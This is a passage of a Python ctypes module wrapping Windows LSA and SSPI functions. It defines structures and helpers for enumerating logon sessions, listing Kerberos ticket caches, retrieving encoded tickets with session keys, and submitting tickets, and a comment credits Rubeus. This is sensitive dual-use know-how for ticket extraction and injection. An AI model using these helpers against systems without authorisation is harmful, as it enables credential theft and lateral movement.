250 | SECBUFFER_MECHLIST_SIGNATURE = 12 #The buffer contains a signature of a SECBUFFER_MECHLIST buffer. It is not usually of interest to callers. | |
251 | SECBUFFER_MISSING = 4 #The security package uses this value to indicate the number of missing bytes in a particular message. The pvBuffer member is ignored in this type. | |
252 | SECBUFFER_PKG_PARAMS = 3 #These are transport-to-package–specific parameters. For example, the NetWare redirector may supply the server object identifier, while DCE RPC can supply an association UUID, and so on. | |
253 | SECBUFFER_PRESHARED_KEY = 22 #The buffer contains the preshared key. The maximum allowed PSK buffer size is 256 bytes. | |
254 | SECBUFFER_PRESHARED_KEY_IDENTITY = 23 #The buffer contains the preshared key identity. | |
255 | SECBUFFER_SRTP_MASTER_KEY_IDENTIFIER = 20 #The buffer contains the SRTP master key identifier. | |
256 | SECBUFFER_SRTP_PROTECTION_PROFILES = 19 #The buffer contains the list of SRTP protection profiles, in descending order of preference. | |
257 | SECBUFFER_STREAM_HEADER = 7 #The buffer contains a protocol-specific header for a particular record. It is not usually of interest to callers. | |
258 | SECBUFFER_STREAM_TRAILER = 6 #The buffer contains a protocol-specific trailer for a particular record. It is not usually of interest to callers. | |
259 | SECBUFFER_TARGET = 13 #This flag is reserved. Do not use it. | |
260 | SECBUFFER_TARGET_HOST = 16 #The buffer specifies the service principal name (SPN) of the target. | |
261 | #This value is supported by the Digest security package when used with channel bindings. | |
262 | #Windows Server 2008, Windows Vista, Windows Server 2003 and Windows XP: This value is not supported. | |
263 | SECBUFFER_TOKEN = 2 #The buffer contains the security token portion of the message. This is read-only for input parameters or read/write for output parameters. | |
264 | SECBUFFER_TOKEN_BINDING = 21 #The buffer contains the supported token binding protocol version and key parameters, in descending order of preference. | |
265 | SECBUFFER_APPLICATION_PROTOCOLS = 18 #The buffer contains a list of application protocol IDs, one list per application protocol negotiation extension type to be enabled. | |
266 | SECBUFFER_PADDING = 9 | |
267 | ||
268 | class FILETIME(Structure): | |
269 | _fields_ = [ | |
270 | ("dwLowDateTime", DWORD), | |
271 | ("dwHighDateTime", DWORD), | |
272 | ] | |
273 | PFILETIME = POINTER(FILETIME) | |
274 | TimeStamp = FILETIME | |
275 | PTimeStamp = PFILETIME | |
276 | ||
277 | # https://docs.microsoft.com/en-us/windows/desktop/api/sspi/ns-sspi-secpkgcontext_sessionkey | |
278 | class SecPkgContext_SessionKey(Structure): | |
279 | _fields_ = [('SessionKeyLength',ULONG),('SessionKey', LPBYTE)] | |
280 | ||
281 | @property | |
282 | def Buffer(self): | |
283 | return string_at(self.SessionKey, size=self.SessionKeyLength) | |
284 | ||
285 | # https://github.com/benjimin/pywebcorp/blob/master/pywebcorp/ctypes_sspi.py | |
286 | class SecHandle(Structure): | |
287 | ||
288 | _fields_ = [ | |
289 | ('dwLower',POINTER(ULONG)), | |
290 | ('dwUpper',POINTER(ULONG)) | |
291 | ] | |
292 | def __init__(self): # populate deeply (empty memory fields) rather than shallow null POINTERs. | |
293 | super(SecHandle, self).__init__(pointer(ULONG()), pointer(ULONG())) | |
294 | ||
295 | class SecBuffer(Structure): | |
296 | """Stores a memory buffer: size, type-flag, and POINTER. | |
297 | The type can be empty (0) or token (2). | |
298 | InitializeSecurityContext will write to the buffer that is flagged "token" | |
299 | and update the size, or else fail 0x80090321=SEC_E_BUFFER_TOO_SMALL.""" | |
300 | _fields_ = [ | |
301 | ('cbBuffer',ULONG), | |
302 | ('BufferType',ULONG), | |
303 | ('pvBuffer',PVOID) | |
304 | ] | |
305 | def __init__(self, token=b'\x00'*maxtoken_size, buffer_type = SECBUFFER_TYPE.SECBUFFER_TOKEN): | |
306 | buf = create_string_buffer(token, size=len(token)) | |
307 | Structure.__init__(self,sizeof(buf),buffer_type.value,cast(byref(buf),PVOID)) | |
308 | ||
309 | @property | |
310 | def Buffer(self): | |
311 | return (SECBUFFER_TYPE(self.BufferType), string_at(self.pvBuffer, size=self.cbBuffer)) | |
312 | ||
313 | class SecBufferDesc(Structure): | |
314 | """Descriptor stores SECBUFFER_VERSION=0, number of buffers (e.g. one), | |
315 | and POINTER to an array of SecBuffer structs.""" | |
316 | _fields_ = [('ulVersion',ULONG),('cBuffers',ULONG),('pBuffers',POINTER(SecBuffer))] | |
317 | def __init__(self, secbuffers = None): | |
318 | #secbuffers = a list of security buffers (SecBuffer) | |
319 | if secbuffers is not None: | |
320 | Structure.__init__(self,0,len(secbuffers),(SecBuffer * len(secbuffers))(*secbuffers)) | |
321 | else: | |
322 | Structure.__init__(self,0,1,pointer(SecBuffer())) | |
323 | def __getitem__(self, index): | |
324 | return self.pBuffers[index] | |
325 | ||
326 | @property | |
327 | def Buffers(self): | |
328 | data = [] | |
329 | for i in range(self.cBuffers): | |
330 | data.append(self.pBuffers[i].Buffer) | |
331 | return data | |
332 | ||
333 | PSecBufferDesc = POINTER(SecBufferDesc) | |
334 | ||
335 | PSecHandle = POINTER(SecHandle) | |
336 | CredHandle = SecHandle | |
337 | PCredHandle = PSecHandle | |
338 | CtxtHandle = SecHandle | |
339 | PCtxtHandle = PSecHandle | |
340 | ||
341 | class LUID(Structure): | |
342 | _fields_ = [ | |
343 | ("LowPart", DWORD), | |
344 | ("HighPart", LONG), | |
345 | ] | |
346 | ||
347 | def to_int(self): | |
348 | return LUID.luid_to_int(self) | |
349 | ||
350 | @staticmethod | |
351 | def luid_to_int(luid): | |
352 | return (luid.HighPart << 32) + luid.LowPart | |
353 | ||
354 | @staticmethod | |
355 | def from_int(i): | |
356 | luid = LUID() | |
357 | luid.HighPart = i >> 32 | |
358 | luid.LowPart = i & 0xFFFFFFFF | |
359 | return luid | |
360 | ||
361 | PLUID = POINTER(LUID) | |
362 | ||
363 | class LSA_STRING(Structure): | |
364 | _fields_ = [ | |
365 | ("Length", USHORT), | |
366 | ("MaximumLength", USHORT), | |
367 | ("Buffer", POINTER(c_char)), | |
368 | ] | |
369 | def to_string(self): | |
370 | return string_at(self.Buffer, self.MaximumLength).decode() | |
371 | ||
372 | PLSA_STRING = POINTER(LSA_STRING) | |
373 | ||
374 | class LSA_UNICODE_STRING(Structure): | |
375 | _fields_ = [ | |
376 | ("Length", USHORT), | |
377 | ("MaximumLength", USHORT), | |
378 | ("Buffer", POINTER(c_char)), | |
379 | ] | |
380 | ||
381 | @staticmethod | |
382 | def from_string(s): | |
383 | s = s.encode('utf-16-le') | |
384 | lus = LSA_UNICODE_STRING() | |
385 | lus.Buffer = create_string_buffer(s, len(s)) | |
386 | lus.MaximumLength = len(s)+1 | |
387 | lus.Length = len(s) | |
388 | return lus | |
389 | ||
390 | def to_string(self): | |
391 | return string_at(self.Buffer, self.MaximumLength).decode('utf-16-le').replace('\x00','') | |
392 | ||
393 | PLSA_UNICODE_STRING = POINTER(LSA_UNICODE_STRING) | |
394 | ||
395 | class LSA_LAST_INTER_LOGON_INFO(Structure): | |
396 | _fields_ = [ | |
397 | ("LastSuccessfulLogon", LARGE_INTEGER), | |
398 | ("LastFailedLogon", LARGE_INTEGER), | |
399 | ("FailedAttemptCountSinceLastSuccessfulLogon", ULONG) | |
400 | ] | |
401 | def to_dict(self): | |
402 | return { | |
403 | "LastSuccessfulLogon" : self.LastSuccessfulLogon, | |
404 | "LastFailedLogon" : self.LastFailedLogon, | |
405 | "FailedAttemptCountSinceLastSuccessfulLogon" : self.FailedAttemptCountSinceLastSuccessfulLogon | |
406 | } | |
407 | PLSA_LAST_INTER_LOGON_INFO = POINTER(LSA_LAST_INTER_LOGON_INFO) | |
408 | ||
409 | class SECURITY_LOGON_SESSION_DATA(Structure): | |
410 | _fields_ = [ | |
411 | ("Size", ULONG), | |
412 | ("LogonId", LUID), | |
413 | ("UserName", LSA_UNICODE_STRING), | |
414 | ("LogonDomain", LSA_UNICODE_STRING), | |
415 | ("AuthenticationPackage", LSA_UNICODE_STRING), | |
416 | ("LogonType", ULONG), | |
417 | ("Session", ULONG), | |
418 | ("Sid", PVOID), | |
419 | ("LogonTime", LARGE_INTEGER), | |
420 | ("LogonServer", LSA_UNICODE_STRING), | |
421 | ("DnsDomainName", LSA_UNICODE_STRING), | |
422 | ("Upn", LSA_UNICODE_STRING), | |
423 | ("UserFlags", ULONG), | |
424 | ("LastLogonInfo", LSA_LAST_INTER_LOGON_INFO), | |
425 | ("LogonScript", LSA_UNICODE_STRING), | |
426 | ("ProfilePath", LSA_UNICODE_STRING), | |
427 | ("HomeDirectory", LSA_UNICODE_STRING), | |
428 | ("HomeDirectoryDrive", LSA_UNICODE_STRING), | |
429 | ("LogoffTime", LARGE_INTEGER), | |
430 | ("KickOffTime", LARGE_INTEGER), | |
431 | ("PasswordLastSet", LARGE_INTEGER), | |
432 | ("PasswordCanChange", LARGE_INTEGER), | |
433 | ("PasswordMustChange", LARGE_INTEGER), | |
434 | ] | |
435 | ||
436 | def to_dict(self): | |
437 | return { | |
438 | "LogonId": self.LogonId.to_int(), | |
439 | "UserName": self.UserName.to_string(), | |
440 | "LogonDomain": self.LogonDomain.to_string(), | |
441 | "AuthenticationPackage": self.AuthenticationPackage.to_string(), | |
442 | "LogonType": self.LogonType, | |
443 | "Session": self.Session, | |
444 | "Sid": str(SID.from_ptr(self.Sid)), #PVOID), # PSID | |
445 | "LogonTime": self.LogonTime, | |
446 | "LogonServer": self.LogonServer.to_string(), | |
447 | "DnsDomainName": self.DnsDomainName.to_string(), | |
448 | "Upn": self.Upn.to_string(), | |
449 | "UserFlags": self.UserFlags, | |
450 | "LastLogonInfo": self.LastLogonInfo.to_dict(), | |
451 | "LogonScript": self.LogonScript.to_string(), | |
452 | "ProfilePath": self.ProfilePath.to_string(), | |
453 | "HomeDirectory": self.HomeDirectory.to_string(), | |
454 | "HomeDirectoryDrive": self.HomeDirectoryDrive.to_string(), | |
455 | "LogoffTime": self.LogoffTime, | |
456 | "KickOffTime": self.KickOffTime, | |
457 | "PasswordLastSet": self.PasswordLastSet, | |
458 | "PasswordCanChange": self.PasswordCanChange, | |
459 | "PasswordMustChange": self.PasswordMustChange, | |
460 | } | |
461 | ||
462 | PSECURITY_LOGON_SESSION_DATA = POINTER(SECURITY_LOGON_SESSION_DATA) | |
463 | ||
464 | ||
465 | class KERB_PURGE_TKT_CACHE_REQUEST(Structure): | |
466 | _fields_ = [ | |
467 | ("MessageType", DWORD), | |
468 | ("LogonId", LUID), | |
469 | ("ServerName", LSA_STRING), | |
470 | ("RealmName", LSA_STRING), | |
471 | ] | |
472 | ||
473 | def __init__(self, logonid = 0, servername=None, realname = None): | |
474 | if isinstance(logonid, int): | |
475 | logonid = LUID.from_int(logonid) | |
476 | ||
477 | super(KERB_PURGE_TKT_CACHE_REQUEST, self).__init__(KERB_PROTOCOL_MESSAGE_TYPE.KerbPurgeTicketCacheMessage.value, logonid) | |
478 | ||
479 | class KERB_TICKET_CACHE_INFO(Structure): | |
480 | _fields_ = [ | |
481 | ("ServerName", LSA_UNICODE_STRING), | |
482 | ("RealmName", LSA_UNICODE_STRING), | |
483 | ("StartTime", LARGE_INTEGER), | |
484 | ("EndTime", LARGE_INTEGER), | |
485 | ("RenewTime", LARGE_INTEGER), | |
486 | ("EncryptionType", LONG), | |
487 | ("TicketFlags", ULONG) | |
488 | ] | |
489 | ||
490 | def to_dict(self): | |
491 | return { | |
492 | "ServerName" : self.ServerName.to_string(), | |
493 | "RealmName" : self.RealmName.to_string(), | |
494 | "StartTime" : self.StartTime, | |
495 | "EndTime" : self.EndTime, | |
496 | "RenewTime" : self.RenewTime, | |
497 | "EncryptionType" : self.EncryptionType, | |
498 | "TicketFlags" : self.TicketFlags, | |
499 | } | |
500 | PKERB_TICKET_CACHE_INFO = POINTER(KERB_TICKET_CACHE_INFO) | |
501 | ||
502 | class KERB_CRYPTO_KEY(Structure): | |
503 | _fields_ = [ | |
504 | ("KeyType", LONG), | |
505 | ("Length", ULONG), | |
506 | ("Value", PVOID), #PUCHAR | |
507 | ] | |
508 | ||
509 | def to_dict(self): | |
510 | return { | |
511 | 'KeyType' : self.KeyType, | |
512 | 'Key' : string_at(self.Value, self.Length) | |
513 | } | |
514 | ||
515 | PKERB_CRYPTO_KEY = POINTER(KERB_CRYPTO_KEY) | |
516 | ||
517 | class KERB_EXTERNAL_NAME(Structure): | |
518 | _fields_ = [ | |
519 | ("NameType", SHORT), | |
520 | ("NameCount", USHORT), | |
521 | ("Names", LSA_UNICODE_STRING) #LIST!!!! not implemented! | |
522 | ] | |
523 | PKERB_EXTERNAL_NAME = POINTER(KERB_EXTERNAL_NAME) | |
524 | ||
525 | class KERB_EXTERNAL_TICKET(Structure): | |
526 | _fields_ = [ | |
527 | ("ServiceName" , PVOID), #PKERB_EXTERNAL_NAME | |
528 | ("TargetName" , PVOID), #PKERB_EXTERNAL_NAME | |
529 | ("ClientName" , PVOID), #PKERB_EXTERNAL_NAME | |
530 | ("DomainName" , LSA_UNICODE_STRING), | |
531 | ("TargetDomainName" , LSA_UNICODE_STRING), | |
532 | ("AltTargetDomainName" , LSA_UNICODE_STRING), | |
533 | ("SessionKey" , KERB_CRYPTO_KEY), | |
534 | ("TicketFlags" , ULONG), | |
535 | ("Flags" , ULONG), | |
536 | ("KeyExpirationTime" , LARGE_INTEGER), | |
537 | ("StartTime" , LARGE_INTEGER), | |
538 | ("EndTime" , LARGE_INTEGER), | |
539 | ("RenewUntil" , LARGE_INTEGER), | |
540 | ("TimeSkew" , LARGE_INTEGER), | |
541 | ("EncodedTicketSize" , ULONG), | |
542 | ("EncodedTicket" , PVOID) | |
543 | ] | |
544 | ||
545 | def get_data(self): | |
546 | return { | |
547 | 'Key' : self.SessionKey.to_dict(), | |
548 | 'Ticket' : string_at(self.EncodedTicket, self.EncodedTicketSize) | |
549 | } | |
550 | ||
551 | PKERB_EXTERNAL_TICKET = KERB_EXTERNAL_TICKET | |
552 | ||
553 | class KERB_QUERY_TKT_CACHE_REQUEST(Structure): | |
554 | _fields_ = [ | |
555 | ("MessageType", DWORD), | |
556 | ("LogonId", LUID), | |
557 | ] | |
558 | ||
559 | def __init__(self, logonid = 0): | |
560 | if isinstance(logonid, int): | |
561 | logonid = LUID.from_int(logonid) | |
562 | ||
563 | super(KERB_QUERY_TKT_CACHE_REQUEST, self).__init__(KERB_PROTOCOL_MESSAGE_TYPE.KerbQueryTicketCacheMessage.value, logonid) | |
564 | ||
565 | class KERB_QUERY_TKT_CACHE_RESPONSE_SIZE(Structure): | |
566 | _fields_ = [ | |
567 | ("MessageType", DWORD), | |
568 | ("CountOfTickets", ULONG), | |
569 | ] | |
570 | class KERB_QUERY_TKT_CACHE_RESPONSE(Structure): | |
571 | _fields_ = [ | |
572 | ("MessageType", DWORD), | |
573 | ("CountOfTickets", ULONG), | |
574 | ("Tickets", KERB_TICKET_CACHE_INFO) #array of tickets!! | |
575 | ] | |
576 | ||
577 | class KERB_SUBMIT_TKT_REQUEST(Structure): | |
578 | _fields_ = [ | |
579 | ("MessageType", DWORD), | |
580 | ("LogonId", LUID), | |
581 | ("TicketFlags", ULONG), | |
582 | ("Key", KERB_CRYPTO_KEY), | |
583 | ("KerbCredSize", ULONG), | |
584 | ("KerbCredOffset" , ULONG) | |
585 | ] | |
586 | ||
587 | KERB_SUBMIT_TKT_REQUEST_OFFSET = sizeof(KERB_SUBMIT_TKT_REQUEST()) | |
588 | ||
589 | def submit_tkt_helper(ticket_data, logonid=0): | |
590 | offset = KERB_SUBMIT_TKT_REQUEST_OFFSET - 4 | |
591 | if isinstance(logonid, int): | |
592 | logonid = LUID.from_int(logonid) | |
593 | ||
594 | class KERB_SUBMIT_TKT_REQUEST(Structure): | |
595 | _pack_ = 4 | |
596 | _fields_ = [ | |
597 | ("MessageType", DWORD), | |
598 | ("LogonId", LUID), | |
599 | ("TicketFlags", ULONG), | |
600 | #("KeyType", LONG), | |
601 | ("Length", ULONG), | |
602 | ("Value", PVOID), #PUCHAR | |
603 | ("KerbCredSize", ULONG), | |
604 | ("KerbCredOffset" , ULONG), | |
605 | ("TicketData" , c_byte * len(ticket_data)) | |
606 | ] | |
607 | ||
608 | req = KERB_SUBMIT_TKT_REQUEST() | |
609 | req.MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbSubmitTicketMessage.value | |
610 | req.LogonId = logonid | |
611 | req.TicketFlags = 0 | |
612 | req.Key = KERB_CRYPTO_KEY() #empty key | |
613 | req.KerbCredSize = len(ticket_data) | |
614 | #req.KerbCredOffset = | |
615 | req.TicketData = (c_byte * len(ticket_data))(*ticket_data) | |
616 | ||
617 | ||
618 | #struct_end = addressof(req) + sizeof(req) | |
619 | #print('struct_end %s' % hex(struct_end)) | |
620 | #ticketdata_start = struct_end - len(ticket_data) | |
621 | #targetname_start_padded = ticketdata_start - (ticketdata_start % sizeof(c_void_p)) | |
622 | #print('targetname_start_padded %s' % hex(targetname_start_padded)) | |
623 | #print('offset %s' % offset) | |
624 | #print('len(ticket_data) %s' % len(ticket_data)) | |
625 | req.KerbCredOffset = offset #targetname_start_padded | |
626 | ||
627 | #print(hexdump(string_at(addressof(req), sizeof(req)), start = addressof(req))) | |
628 | #print() | |
629 | #print(hexdump(string_at(addressof(req) + req.KerbCredOffset, 10 ))) | |
630 | #if string_at(addressof(req) + req.KerbCredOffset, req.KerbCredSize) != ticket_data: | |
631 | # print('!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!') | |
632 | ||
633 | return req | |
634 | ||
635 | class KERB_RETRIEVE_TKT_REQUEST(Structure): | |
636 | _fields_ = [ | |
637 | ("MessageType", DWORD), | |
638 | ("LogonId", LUID), | |
639 | ("TargetName", LSA_UNICODE_STRING), | |
640 | ("TicketFlags", ULONG), | |
641 | ("CacheOptions", ULONG), | |
642 | ("EncryptionType", LONG), | |
643 | ("CredentialsHandle", PVOID), #SecHandle | |
644 | ] | |
645 | ||
646 | def __init__(self, targetname, ticketflags = 0x0, cacheoptions = 0x8, encryptiontype = 0x0, logonid = 0): | |
647 | if isinstance(logonid, int): | |
648 | logonid = LUID.from_int(logonid) | |
649 | ||
650 | super(KERB_RETRIEVE_TKT_REQUEST, self).__init__( | |
651 | KERB_PROTOCOL_MESSAGE_TYPE.KerbRetrieveEncodedTicketMessage.value, | |
652 | logonid, | |
653 | LSA_UNICODE_STRING.from_string(targetname), | |
654 | ticketflags, | |
655 | cacheoptions, | |
656 | encryptiontype, | |
657 | None, | |
658 | ) | |
659 | ||
660 | def retrieve_tkt_helper(targetname, logonid = 0, ticketflags = 0x0, cacheoptions = 0x8, encryptiontype = 0x0, temp_offset = 0): | |
661 | # Rubeus helped me here with the info that the "targetname" structure's internal pointer | |
662 | # must be pointing to the bottom of the actual KERB_RETRIEVE_TKT_REQUEST otherwise you will get a generic error | |
663 | # Sadly that wasn't completely enough because <insert vauge reasons here>. So I introduced an extra pointer to serve | |
664 | # as a platform-independent padding between the oringinal structure and the actual targetname bytes. | |
665 | # | |
666 | # For reference: | |
667 | # https://github.com/GhostPack/Rubeus/blob/master/Rubeus/lib/LSA.cs | |
668 | ||
669 | if isinstance(logonid, int): | |
670 | logonid = LUID.from_int(logonid) | |
671 | ||
672 | targetname_enc = targetname.encode('utf-16-le') + b'\x00\x00' | |
673 | targetname_len_alloc = len(targetname_enc) | |
674 | class KERB_RETRIEVE_TKT_REQUEST(Structure): | |
675 | _fields_ = [ | |
676 | ("MessageType", DWORD), | |
677 | ("LogonId", LUID), | |
678 | ("TargetName", LSA_UNICODE_STRING), | |
679 | ("TicketFlags", ULONG), | |
680 | ("CacheOptions", ULONG), | |
681 | ("EncryptionType", LONG), | |
682 | ("CredentialsHandle", PVOID), #SecHandle | |
683 | ("UNK", PVOID), #I put this here otherwise there is an error "Invalid parameter". Probably padding issue but I dunno | |
684 | ("TargetNameData", (c_byte * targetname_len_alloc)), | |
685 | ] | |
686 | ||
687 | req = KERB_RETRIEVE_TKT_REQUEST() | |
688 | req.MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbRetrieveEncodedTicketMessage.value | |
689 | req.LogonId = logonid | |
690 | req.TicketFlags = ticketflags | |
691 | req.CacheOptions = cacheoptions | |
692 | req.EncryptionType = encryptiontype | |
693 | req.TargetNameData = (c_byte * len(targetname_enc))(*targetname_enc) | |
694 | ||
695 | struct_end = addressof(req) + sizeof(req) | |
696 | targetname_start = struct_end - targetname_len_alloc | |
697 | targetname_start_padded = targetname_start - (targetname_start % sizeof(c_void_p)) | |
698 | ||
699 | lsa_target = LSA_UNICODE_STRING() | |
700 | lsa_target.Length = len(targetname.encode('utf-16-le')) | |
701 | lsa_target.MaximumLength = targetname_len_alloc | |
702 | lsa_target.Buffer = cast(targetname_start_padded, POINTER(c_char)) | |
703 | ||
704 | req.TargetName = lsa_target | |
705 | ||
706 | #print(targetname_start_padded) | |
707 | #print(lsa_target.Buffer.contents) | |
708 | ##print(lsa_target.to_string()) | |
709 | #print(string_at(targetname_start_padded, lsa_target.MaximumLength)) | |
710 | #print('a %s' % addressof(req)) | |
711 | #print('s %s' % sizeof(req)) | |
712 | #hd = hexdump(string_at(addressof(req), sizeof(req)), start = addressof(req)) | |
713 | #print(hd) | |
714 | ||
715 | return req | |
716 | ||
717 | class KERB_RETRIEVE_TKT_RESPONSE(Structure): | |
718 | _fields_ = [ | |
719 | ("Ticket", KERB_EXTERNAL_TICKET), | |
720 | ] | |
721 | ||
722 | # Invalid handle value is -1 casted to void pointer. | |
723 | try: | |
724 | INVALID_HANDLE_VALUE = c_void_p(-1).value #-1 #0xFFFFFFFF | |
725 | except TypeError: | |
726 | if sizeof(c_void_p) == 4: | |
727 | INVALID_HANDLE_VALUE = 0xFFFFFFFF | |
728 | elif sizeof(c_void_p) == 8: | |
729 | INVALID_HANDLE_VALUE = 0xFFFFFFFFFFFFFFFF | |
730 | else: | |
731 | raise | |
732 | ||
733 | def get_lsa_error(ret_status): | |
734 | return WinError(LsaNtStatusToWinError(ret_status)) | |
735 | ||
736 | def RaiseIfZero(result, func = None, arguments = ()): | |
737 | """ | |
738 | Error checking for most Win32 API calls. | |
739 | ||
740 | The function is assumed to return an integer, which is C{0} on error. | |
741 | In that case the C{WindowsError} exception is raised. | |
742 | """ | |
743 | if not result: | |
744 | raise WinError() | |
745 | return result | |
746 | ||
747 | def LsaRaiseIfNotErrorSuccess(result, func = None, arguments = ()): | |
748 | """ | |
749 | Error checking for Win32 Registry API calls. | |
750 | ||
751 | The function is assumed to return a Win32 error code. If the code is not | |
752 | C{ERROR_SUCCESS} then a C{WindowsError} exception is raised. | |
753 | """ | |
754 | if result != ERROR_SUCCESS: | |
755 | raise WinError(LsaNtStatusToWinError(result)) | |
756 | return result | |
757 | ||
758 | # https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsantstatustowinerror | |
759 | def LsaNtStatusToWinError(errcode): | |
760 | _LsaConnectUntrusted = windll.Advapi32.LsaNtStatusToWinError | |
761 | _LsaConnectUntrusted.argtypes = [NTSTATUS] | |
762 | _LsaConnectUntrusted.restype = ULONG | |
763 | ||
764 | res = _LsaConnectUntrusted(errcode) | |
765 | if res == 0x13D: | |
766 | raise Exception('ERROR_MR_MID_NOT_FOUND for %s' % errcode) | |
767 | return res | |
768 | ||
769 | ||
770 | # https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsafreereturnbuffer | |
771 | def LsaFreeReturnBuffer(pbuffer): | |
772 | _LsaFreeReturnBuffer = windll.Secur32.LsaFreeReturnBuffer | |
773 | _LsaFreeReturnBuffer.argtypes = [PVOID] | |
774 | _LsaFreeReturnBuffer.restype = NTSTATUS | |
775 | _LsaFreeReturnBuffer.errcheck = LsaRaiseIfNotErrorSuccess | |
776 | ||
777 | _LsaFreeReturnBuffer(pbuffer) | |
778 | ||
779 | # https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaconnectuntrusted | |
780 | def LsaConnectUntrusted(): | |
781 | _LsaConnectUntrusted = windll.Secur32.LsaConnectUntrusted | |
782 | _LsaConnectUntrusted.argtypes = [PHANDLE] | |
783 | _LsaConnectUntrusted.restype = NTSTATUS | |
784 | _LsaConnectUntrusted.errcheck = LsaRaiseIfNotErrorSuccess | |
785 | ||
786 | lsa_handle = HANDLE(INVALID_HANDLE_VALUE) | |
787 | _LsaConnectUntrusted(byref(lsa_handle)) | |
788 | return lsa_handle | |
789 | ||
790 | # https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaderegisterlogonprocess | |
791 | def LsaDeregisterLogonProcess(lsa_handle): | |
792 | _LsaDeregisterLogonProcess = windll.Secur32.LsaDeregisterLogonProcess | |
793 | _LsaDeregisterLogonProcess.argtypes = [HANDLE] | |
794 | _LsaDeregisterLogonProcess.restype = NTSTATUS | |
795 | _LsaDeregisterLogonProcess.errcheck = LsaRaiseIfNotErrorSuccess | |
796 | ||
797 | _LsaDeregisterLogonProcess(lsa_handle) | |
798 | ||
799 | return | |
800 | ||
801 | # https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaregisterlogonprocess | |
802 | def LsaRegisterLogonProcess(logon_process_name): | |
803 | #logon_process_name == This string must not exceed 127 bytes. | |
804 | _LsaRegisterLogonProcess = windll.Secur32.LsaRegisterLogonProcess | |
805 | _LsaRegisterLogonProcess.argtypes = [PLSA_STRING, PHANDLE, PLSA_OPERATIONAL_MODE] | |
806 | _LsaRegisterLogonProcess.restype = NTSTATUS | |
807 | _LsaRegisterLogonProcess.errcheck = LsaRaiseIfNotErrorSuccess | |
808 | ||
809 | if isinstance(logon_process_name, str): | |
810 | logon_process_name = logon_process_name.encode() | |
811 | ||
812 | pname = LSA_STRING() | |
813 | pname.Buffer = create_string_buffer(logon_process_name) | |
814 | pname.Length = len(logon_process_name) | |
815 | pname.MaximumLength = len(logon_process_name) + 1 | |
816 | ||
817 | lsa_handle = HANDLE(INVALID_HANDLE_VALUE) | |
818 | dummy = LSA_OPERATIONAL_MODE(0) | |
819 | _LsaRegisterLogonProcess(byref(pname), byref(lsa_handle), byref(dummy)) | |
820 | ||
821 | return lsa_handle | |
822 | ||
823 | ||
824 | # https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsalookupauthenticationpackage | |
825 | def LsaLookupAuthenticationPackage(lsa_handle, package_name): | |
826 | #logon_process_name == This string must not exceed 127 bytes. | |
827 | _LsaLookupAuthenticationPackage = windll.Secur32.LsaLookupAuthenticationPackage | |
828 | _LsaLookupAuthenticationPackage.argtypes = [HANDLE, PLSA_STRING, PULONG] | |
829 | _LsaLookupAuthenticationPackage.restype = NTSTATUS | |
830 | _LsaLookupAuthenticationPackage.errcheck = LsaRaiseIfNotErrorSuccess | |
831 | ||
832 | if isinstance(package_name, str): | |
833 | package_name = package_name.encode() | |
834 | ||
835 | pname = LSA_STRING() | |
836 | pname.Buffer = create_string_buffer(package_name) | |
837 | pname.Length = len(package_name) | |
838 | pname.MaximumLength = len(package_name) + 1 | |
839 | ||
840 | package_id = ULONG(0) | |
841 | _LsaLookupAuthenticationPackage(lsa_handle, byref(pname), byref(package_id)) | |
842 | ||
843 | return package_id.value | |
844 | ||
845 | # https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsacallauthenticationpackage | |
846 | def LsaCallAuthenticationPackage(lsa_handle, package_id, message): | |
847 | #message bytes | |
848 | _LsaCallAuthenticationPackage = windll.Secur32.LsaCallAuthenticationPackage | |
849 | _LsaCallAuthenticationPackage.argtypes = [HANDLE, ULONG, PVOID, ULONG, PVOID, PULONG, PNTSTATUS] | |
850 | _LsaCallAuthenticationPackage.restype = DWORD | |
851 | _LsaCallAuthenticationPackage.errcheck = LsaRaiseIfNotErrorSuccess | |
852 | ||
853 | if not isinstance(message, Structure): | |
854 | message = bytes(message) | |
855 | message_len = len(message) | |
856 | else: | |
857 | message_len = len(bytes(message)) | |
858 | ||
859 | return_msg_p = c_void_p() | |
860 | return_msg_len = ULONG(0) | |
861 | return_status = NTSTATUS(INVALID_HANDLE_VALUE) | |
862 | _LsaCallAuthenticationPackage(lsa_handle, package_id, byref(message), message_len, byref(return_msg_p), byref(return_msg_len), byref(return_status)) | |
863 | ||
864 | return_msg = b'' | |
865 | free_ptr = None #please free this pointer when the parsing is finished on the upper levels using LsaFreeReturnBuffer. Problem is that if we call LsaFreeReturnBuffer here then the parsing will fail if the message has nested structures with pointers involved because by the time of parsing those pointers will be freed. sad. | |
866 | if return_msg_len.value > 0: | |
867 | return_msg = string_at(return_msg_p, return_msg_len.value) | |
868 | free_ptr = return_msg_p | |
869 | #LsaFreeReturnBuffer(return_msg_p) | |
870 | ||
871 | ||
872 | return return_msg, return_status.value, free_ptr | |
873 | ||
874 | # https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaenumeratelogonsessions | |
875 | def LsaEnumerateLogonSessions(): | |
876 | #logon_process_name == This string must not exceed 127 bytes. | |
877 | _LsaEnumerateLogonSessions = windll.Secur32.LsaEnumerateLogonSessions | |
878 | _LsaEnumerateLogonSessions.argtypes = [PULONG , PVOID] #PLUID | |
879 | _LsaEnumerateLogonSessions.restype = NTSTATUS | |
880 | _LsaEnumerateLogonSessions.errcheck = LsaRaiseIfNotErrorSuccess | |
881 | ||
882 | LogonSessionCount = ULONG(0) | |
883 | start_luid = c_void_p() | |
884 | _LsaEnumerateLogonSessions(byref(LogonSessionCount), byref(start_luid)) | |
885 | ||
886 | class LUIDList(Structure): | |
887 | _fields_ = [ | |
888 | ("LogonIds", LUID*LogonSessionCount.value), | |
889 | ] | |
890 | PLUIDList = POINTER(LUIDList) | |
891 | ||
892 | res_luids = [] | |
893 | pluids = cast(start_luid, PLUIDList) | |
894 | for luid in pluids.contents.LogonIds: | |
895 | res_luids.append(luid.to_int()) | |
